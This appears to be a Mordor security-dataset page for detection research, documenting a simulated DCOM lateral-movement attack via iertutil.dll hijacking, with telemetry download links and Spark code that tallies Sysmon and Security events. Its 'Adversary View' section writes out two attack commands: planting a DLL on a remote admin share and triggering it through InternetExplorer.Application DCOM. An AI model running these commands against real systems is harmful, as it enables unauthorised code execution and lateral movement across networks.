Covenant Remote DCOM Iertutil DLL Hijacking¶

Metadata¶


Author	Roberto Rodriguez @Cyb3rWard0g
Creation Date	2020/10/09
Modification Date	2020/10/09
Tactics	[‘TA0008’]
Techniques	[‘T1021.003’]
Tags	[‘SMB CreateRequest’]

Dataset Description¶

This dataset represents adversaries abusing a DLL hijack vulnerability found in the execution of the DCOM InternetExplorer.Application class for lateral movement.

Datasets Downloads¶

Dataset Type	Link
Host	https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/host/covenant_dcom_iertutil_dll_hijack.zip
Network	https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/network/covenant_dcom_iertutil_dll_hijack.zip

Notebooks¶

Notebooks created by the community leveraging the mordor datasets

Author	Name	Link
Threat Hunter Playbook	Remote DCOM IErtUtil DLL Hijack	https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html

Simulation Plan¶

Environment	Tool Type	Module
Mordor shire	C2	PowerShell
Mordor shire	C2	Copy

Adversary View¶

Copy /source:"C:\ProgramData\test2.dll" /destination:"\\WORKSTATION6\C$\Program Files\Internet Explorer\iertutil.dll"

PowerShell /powershellcommand:"$i=[activator]::CreateInstance([type]::GetTypeFromProgID('InternetExplorer.Application','172.18.39.6'))"

Explore Mordor Dataset¶

Initialize Analytics Engine¶

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File¶

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/host/covenant_dcom_iertutil_dll_hijack.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")

[+] Processing a Spark DataFrame..
[+] DataFrame Returned !

[+] Temporary SparkSQL View: mordorTable

Get to know your data¶

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)

+---------------------------+------------------------------------+-------+-----+
|Hostname                   |Channel                             |EventID|count|
+---------------------------+------------------------------------+-------+-----+
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|10     |11763|
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|12     |8867 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|13     |7166 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|7      |4396 |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|11     |1612 |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|7      |306  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|23     |234  |
|MORDORDC.theshire.local    |Microsoft-Windows-Sysmon/Operational|12     |174  |
|WORKSTATION5.theshire.local|Security                            |4658   |170  |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|12     |167  |
|WORKSTATION6.theshire.local|Security                            |4674   |161  |
|WORKSTATION6.theshire.local|Security                            |4658   |149  |
|MORDORDC.theshire.local    |Microsoft-Windows-Sysmon/Operational|7      |138  |
|MORDORDC.theshire.local    |Security                            |4703   |131  |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|10     |131  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|3      |121  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational|2      |116  |
|MORDORDC.theshire.local    |Security                            |5156   |92   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational|13     |92   |
|WORKSTATION5.theshire.local|Security                            |4656   |90   |
+---------------------------+------------------------------------+-------+-----+
only showing top 20 rows

Covenant SharpSC Create Empire Over-Pass-The-Hash